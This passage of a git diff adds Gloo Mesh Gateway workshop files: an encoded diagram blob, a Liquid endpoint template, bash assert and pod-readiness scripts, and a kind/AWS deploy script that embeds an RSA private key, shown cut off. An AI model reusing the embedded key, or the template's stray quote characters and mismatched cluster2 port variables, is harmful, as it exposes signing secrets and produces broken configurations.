MWNcdTAwMWZcXMUzclRmr+lcdTAwMThqR93wXHUwMDA3WZRgpaREpmokQJ9wllx1MDAwZVwiyjJcdTAwMTFcdTAwMDFcdTAwMTRcdTAwMTDK9MZFe6nUczz08dyB81dcdTAwMWSbb0P4WZMl4IlAXHUwMDA0MWFaUbLgXHUwMDEwXHUwMDE0eXqKMYL0RYwmhqnyS2n6dvlcdTAwMTFuXGJSkvjli3NhYcbVvDizvZb58Vx1MDAxYt9wRrUpXHUwMDFifqKRw/HH9lx1MDAwNS5fdVxuhelFKkXfReP63F5K7Gw7XHUwMDE36PehwEGX97SGPVSXxtNahb1cdTAwMGa77lTA/YKLYVx1MDAxZNBy6FNcdTAwMDElPHNZTSVUoJdcIrjL0X85Q3oqXHUwMDAwWs6v7pVcdTAwMDRzbk9ablx1MDAxZodcdTAwMDJSS83BslxmcdDkXHUwMDExXHUwMDBlXHUwMDA1ur1xpNGdu96+9GhgXHKpW/VcdTAwMGbap7k9L+Xau5JcdTAwMTFcdTAwMTeMSZDp4Cd5zXTkdaLiiZvObJhmz4nL1CsthDtcXGXOS6X3OVx1MDAxZTftXHUwMDFhwWSeXHUwMDE395Te3Z+ChKvsl5iaMlNK8zDXNPJTl9dPxeRk2KlcdTAwMTXaxWRHd9h9LyEju2vhXHUwMDAzXHJ7KL5bXHUwMDFm8GG9k1x1MDAxYpdcdTAwMGItdcWmXHQhe1x1MDAxNy97XHUwMDE4d1ZPV7KF91K0fFeblIapZ9ktVvYw7mndtT982HVcdTAwMDTS/YJcdTAwMDFn+1jvXHUwMDE2bovX/O5OlmL6TbSHz12PzolflrztWWRcdTAwMDV5XHUwMDA2ZXKGKFOb5G3736YwXHUwMDEzU1x1MDAxZjUnlIX2pOb2wkw510qhY3ZcdTAwMDBcbiEzPVx1MDAwNitdQ+mcVfpcdTAwMDIwUk8xpd5NvDRsXo04XHUwMDBmLqcvkXdcdTAwMWF7f0pcXJfuK9nuoFx1MDAxNj2nj2JcdTAwMWIy+oVSqrS2XGIxpJtcYqnIipRcIqItkFxmLlxiZ0DOd6tk7nlCzVxc2KdL0FxuUkSaJkbHk9BdYlY+XHUwMDFlXHUwMDFid7nnVqN6pVx1MDAxMom3XHUwMDE5aj9cdTAwMTVcdTAwMWbR4bWXq/xcdTAwMDeOWamPx/1So1x1MDAxYrpQXHUwMDE1l3n5yr/3QS3z6WZAXHUwMDEwo1x1MDAxYnmQ/O9xOFx1MDAwMUBTY2/ieTNL5IhPQT+OaTlFwpyWXHUwMDFjRv6RtpggWlx1MDAxMIop5US5xLApZWnTS45IjVx1MDAwNdfa2cRUXG6OMCbHbGRcdTAwMTCKXHUwMDE4XHUwMDE1fyV0tlx1MDAxMqNcImCTXHUwMDEzhlx1MDAwNcFcdTAwMThWXHUwMDFl297mjFHBiOktY1Sw7uB8XHUwMDEzd9r374NyY3jfyolcdTAwMTH3mJQgXHUwMDAytJHgjMLOQ9JcdTAwMTk3Q5BFNCFA7JCWXHUwMDFj3uxsMHNSh8Te+988XHUwMDFjO38x3l/2n1x1MDAxYkNcdTAwMWZcdTAwMTWeXHUwMDFkIzBRlCxcdTAwMDWprkO+XHTpYVq/anTL5Wr1anKj5UXTq39paExcdTAwMTRccqvq04ZcdTAwMWQhbnOe05VpbVx1MDAxNFDvWZZcdTAwMThMJNtDXHUwMDExl1x1MDAxZVZ4MenfWFx1MDAwN5IhMZEhXHUwMDBl3/2ioJSlV05J6j1vvHlcdTAwMDAkbCjlXlx1MDAwNlx1MDAwZfVO6VaIg1UuN2hcdTAwMWLQmuqbRPeTXb/HX4tXXHUwMDExPeqPY9ehXHUwMDE3ctONiVPTPeDH87KQg1x1MDAxOFlcdTAwMDRhxkD8YbF8YnBcdTAwMDPEgXhcdTAwMTZcdTAwMWZfrPHCXHUwMDA1YbvUr3Ru0HtcdTAwMWNcdTAwMTFxRFx1MDAxZsRhxXorXHUwMDFmxFx1MDAwN3Z3P6ild1x1MDAxZd7mgHlsJYKMeltcdTAwMTimi6hcdTAwMDS7OriPIVx1MDAxMevdv83eU8On9/jsulSINtB1+OstU1xudoSkyHSEhGfmlMEginZcdTAwMTdcdTAwMTEkbuVZXHUwMDFkXCKIXHUwMDE1TE6B2fMtgmd2XHUwMDExJCFcdTAwMTFBsq1cYnpSXdBcYlphvIFcdTAwMTbMp/Kli0Q+3Zio2N3r+Vv3MqJD37HQ5KZRi+PfJZO5U1x1MDAwNG3Zoz6OvoOrQUxcdTAwMTVcdTAwMDVdLcmJOvqmmVxcqn//XHUwMDExlZXojJdn/Wo53ktcdTAwMWPJ0ffnKFnhXfGSacFcdTAwMTnmJLiIX12zdDVcdTAwMTKZVEasdYmT9X70cZBcdTAwMGa/iFx1MDAxM1x1MDAxMGLKvMxZI+JGw1wigFx1MDAwMCS4d0/mL1CzWFx1MDAxMlx1MDAwMFx1MDAxYaRCLOLfanZzIVSeh96UU4GZ3KAxcOojpVx1MDAxZcbPd8Xkfaw/k3dcdTAwMWb8llVPQ1x1MDAwNlx1MDAxOVFcXGLzLPSyXGZcbsW+QFx1MDAwNl1SPJ0yqJXCXHUwMDFhk39vTud2XCJIQ1wignSXXHUwMDA2IbYza4fFXHRmXHUwMDE4wVxcXHUwMDA3tzij6cSdTnXO269cdTAwMTdXmfzt3ezh/T5cdTAwMTXyQy3YXCJcdTAwMTZGv1x1MDAwYvnRJSnkWHCLc1x1MDAwNDtJXHUwMDEyivVuUrjfXHUwMDEwS1OxXHJMZHFM1+4uMZZcdTAwMGYv/Y9mOXk/fuxdospLPl9cdTAwMWPfXFyFN1x1MDAxOPLUkn9cdTAwMGW0vKc17KGSf05rXHUwMDE1TmXYdSGh7lx1MDAxN1xcXGbrQKxDh25q5tlyXHUwMDA3lKdcdTAwMDJTUqjgXHUwMDA3o/7rXHUwMDE5Ulx1MDAxYVx1MDAwYvpT+ulPRS20J/25nzq4hCC4Md9pRT82+E9cdTAwMGU5XHUwMDAyhlgpXHUwMDBlK2d3vYo7qz1QXHUwMDA051x1MDAxYca4ynWX5rk967WnXHKtyq3gknNcdTAwMTNBXHUwMDEx3PycXHKvblryI5K+0Vx1MDAwZsVmJXJbLV1sw3q/MLFIKWRcdPdMQE44tohgmjLTVMGn/NjXp1x1MDAxNVx0U1x1MDAwNUpjXHUwMDE54kqBflx1MDAxYbOSbDzOMtePXHUwMDE3V5VGsZy6aTZm48HuivhAw36nXHUwMDE1neJd+1x1MDAxZfZcdTAwMTDDrqOm7lx1MDAxNzxcIjWV2DPdXHUwMDFkiKnpz7DBOab/coaXmXJvXHUwMDFkJ5Ql96Tj9tLUi0rMtOZh1mxH4KVA884mjXH97Lz70XNv2nwoZrqG1a0y05WZbs9NpfROeiemJVx1MDAxZkEouORcdTAwMTben6LsLUt651x1MDAxN5lK5yFfrL6X69tw06+UW6kt8ktsXHUwMDExWSlcdTAwMDdHqbZcdTAwMTRcdTAwMTXwj6lcdTAwMWK3Y/jBnns0IFOMjHBcdTAwMWVi49JPa+ZGXHUwMDE3l8VC8u0xXVx1MDAxY6SyKXZTjJJueHnkqXlkXHUwMDBmtLxcdTAwMDdcdTAwMWH2SWe1oirXbFx1MDAxNa6HNTVJvFx1MDAwZibNPaxCpoFcIlx1MDAxZFnPPzZcdTAwMWZvXHUwMDFlPkQ7XCKq9fY+Vlx1MDAxN5VlrYiGafw0fiwmXHUwMDEzKIlcdTAwMDdcdTAwMWXLsNG4oDaqqWG9KD/G9VxcM1W6TL/WPFrEbmZVNK5l8iUu8q3Pu3YpLWPoc7KPfuintcv2Puw6ou5+wSNcdTAwMTJ1Rbx9yEJcdTAwMTGiXHUwMDE1I1x1MDAxYtTC913P8DJ15qfxubRoXHUwMDEwjf9F7So4Y5wpXHUwMDFjZi1/XHUwMDA0qp5s93pnmeqo/uU+5DVcdTAwMWN3lakvT3RcdTAwMDei7lx1MDAxZMKEiUJcdTAwMDJJiYJXTb1cdTAwMTh/qFx1MDAwYtxuR+rk+uqt8ljtTj68gvVPg6gzoixcdTAwMDaLoE3Ncko595TbnVx1MDAwMoW38yMrqvXphk5cZsao3YtmPlOPrejtZeS1Qq6z/d2V8TdRP+jyntawh1xunTitVdj7sOv4qftcdTAwMDWPyU+9Y1x1MDAxY5SWglBFg2s5/+U8TXpcbmzQ0oH03Fx1MDAxN/FT2Fx1MDAwN8woN3HEkPlcdTAwMTBcdTAwMTLUy9G40ftycrqG162S08Ukt1x1MDAxM1bsXaSKXHUwMDBirVx1MDAwNVx1MDAxMjq4MfnSvy08llx1MDAwNqXbi8v7l1x1MDAxN9x8KF3NXHUwMDFlQi+tXHUwMDFhXHUwMDExSy1cdTAwMWXLqS1cdTAwMWPDq4FcdTAwMGV+dlxySLJcdTAwMDWQ/JZV6kxvXHUwMDExXG5rhlx1MDAxNDrRXG7+leF5tlJcdTAwMTg2293zXFw891bhkVdcdTAwMTVccsZcdTAwMTJ20WSuSFx1MDAxMLhU1XW1Vu26w4DN1fI10fs/57KVtGvkXHUwMDFkvI9cYiFcdTAwMWPMr+C6+elh8FKM9S9ux/ekXHUwMDFjLaQyLfH2XHUwMDFhdmnXUjNLKzD7XHUwMDE4KD1FlpNoqEbIQvz3Y6d8cV9ply75qi7Sjs18hThmMtsu0n6FXHUwMDA3N8mJpLI8vlx1MDAxZFJcXLqUXHUwMDAzklx1MDAwYru0x9uNpVt2TGn/OVx1MDAxN19p92mRiD0zVymTXGL0yFx1MDAwNo2N/e9lKFx1MDAxZE5aKmTJeUkjrkwk74qwY2kpiTFWXHUwMDEymfpXXHUwMDA3Olx1MDAxYTa1aqWQmsOVXGJWtry9RUVKy1hcboRiXHUwMDA1c6JEO4BAalx1MDAwMlx1MDAxM+DqX1s7XCJgXHUwMDA1On+dc2ZvXGJcdTAwMDb8XHUwMDE1Kc2lpopcdTAwMDOMStubfrYjXHUwMDA0I01cdTAwMTBBlVx1MDAxMrBPJGi/n+/wKEB3svWgXCLeW9A8XHUwMDFjm28x3l/2n5uyXHKsPCPKXGLigmFlq1xuuFx1MDAxNn5i9edpXHUwMDBms/FsXHUwMDEwXHUwMDFm5vK1cnp29TbZjm14hk1XiqN6db9cYoSlsDiCTSh+PC8hXHUwMDEw8HhqwcJcdTAwMGJJOdxcdTAwMWTmXal6J483c0naddbA5VJcdETp2tJcdTAwMThhRZCtdH21+9ZcdTAwMWKWq/90h3C9s3ZcdTAwMDPk2b2F+peXoXWd2ZY8gHtWidKMgGLcgFx1MDAwNVxcn9+8VurkRspsOlx1MDAxM71cdTAwMTme3z6xLWtEfaVcdTAwMThSXG68fiGGK1x1MDAxNWpcYqOWXFyI4YFcdTAwMGWetIszXHUwMDBlO+VQMVx1MDAwMEdM1lx1MDAxYfhhlcOAmryXwfqjeXtzmVx1MDAxZfVcdTAwMDbZRifbvnpou2tyU31XaEFMY0977ZEzW2Nh41x1MDAxMZHaNFx1MDAxNTYpZM7GwnvV5Kui9sUlXYX9XHUwMDAzXHUwMDExXHUwMDE24COa2T+CKdlQxfuXXHUwMDA0IJ5eXHUwMDA1Lk1cdTAwMGZkxoPHn+ryR4bSl0yrcN+c1qs5/VSc0u3wZVx1MDAxYjtjXHUwMDAxXHUwMDFiXHUwMDFiuVx1MDAxMIXmXHUwMDE2osqUPNZcYomVOpBAuCyulFx1MDAwMlx1MDAxOVwiXHUwMDFjKW94YZojLrczM1xiIVx1MDAxNrZVXHUwMDA3cWvGXHUwMDBl8mv9esP82VHqXHUwMDFhYEeb/2yf/mr0+X1ccrdcZuLSR0XiSKEzzHdjt3ek+t593UcmXHUwMDEw70QvZKfUKtUy9dTkvjN7jz3RYOM6vvLBc4htXGbNmUOMJdd4g1xcxPFl8v2yXHUwMDFlxez8IUtyXHUwMDAyJ/LPXHUwMDFmoa84p1x1MDAwNEHAqsFmw4SB0K1cdTAwMTZXxtxiXG7seSpBWij1XHUwMDE2OJBMVvQvLe/rxSNu7SWcbjxCTGFcdTAwMTR76bt9XHUwMDBi1ddcdTAwMWSfbdrf4WzSXHUwMDFitrzbO3y5R805re1INbG3XHUwMDAzWJFDISVoaUqC02p/XHUwMDAwXG6lc23ea1BcYlxu1oWiTDpMW4mNXHUwMDEwYiklbHyOvW3bXHUwMDAwQuip9Vx1MDAwNLckp1x1MDAxOFSvmidEuZSIw1xibGx4XHUwMDA3qDxcblfiNmL9y8vOiUKEM3E8pfdFJc29yLg/61pcIuNUXHUwMDBiYY4lXHUwMDE0YYyaXHUwMDAzIydcdTAwMWJcdTAwMDeSobTkRFx1MDAwYqAhUklnY4dT8p55bjHzcG6uXHKZtU9cdTAwMGJcdTAwMDVP3z1BppIq3IDgtNq/v91+zPZcdTAwMDP0UODCYlx1MDAwMlafSFx1MDAwMInlSiGmoLqlXHUwMDEwNWXxqKZyXHUwMDE1+PZjtEukLFx1MDAxYmGWLqSaXHUwMDAz25B25u2AXHUwMDE3xahiQlx1MDAxZFD9h8KiT0xGvYhcIoVcdJCy0V0lklx1MDAxZNcuXHUwMDBibiBiusNcdTAwMTjExUpiXHUwMDEzYqKIdoNcdTAwMTHAXHUwMDFhrIkp3Y3gP6LXXHUwMDE49V7T8u/5toRtcCulJlx1MDAxMpn+3lxiXHUwMDExZ3tcdTAwMThlXHSGKSPUlKhRSPCTRrZcYmZLXHUwMDFmIEZlXHUwMDEzm4G4dlx1MDAwMKJXxIPax6OUrJiba1x1MDAwN6SaWbZcdTAwMTlQ+7HNmVPU1o7nKb/mwajn913G7r9+XuDvYr//MFx1MDAwNvn5vd3+/mhUJzHvMiZ//dxcdTAwMWJcdTAwMDZhq+a+/c///vW//1x1MDAxZnbkYFx1MDAwMCJ9 + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientenforcerate limitshttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/partials/calculate-endpoints.liquid b/gloo-mesh/gateway/2-5/airgap/standalone/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/scripts/assert.sh b/gloo-mesh/gateway/2-5/airgap/standalone/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/scripts/check.sh b/gloo-mesh/gateway/2-5/airgap/standalone/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/scripts/deploy-aws-with-calico.sh b/gloo-mesh/gateway/2-5/airgap/standalone/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv 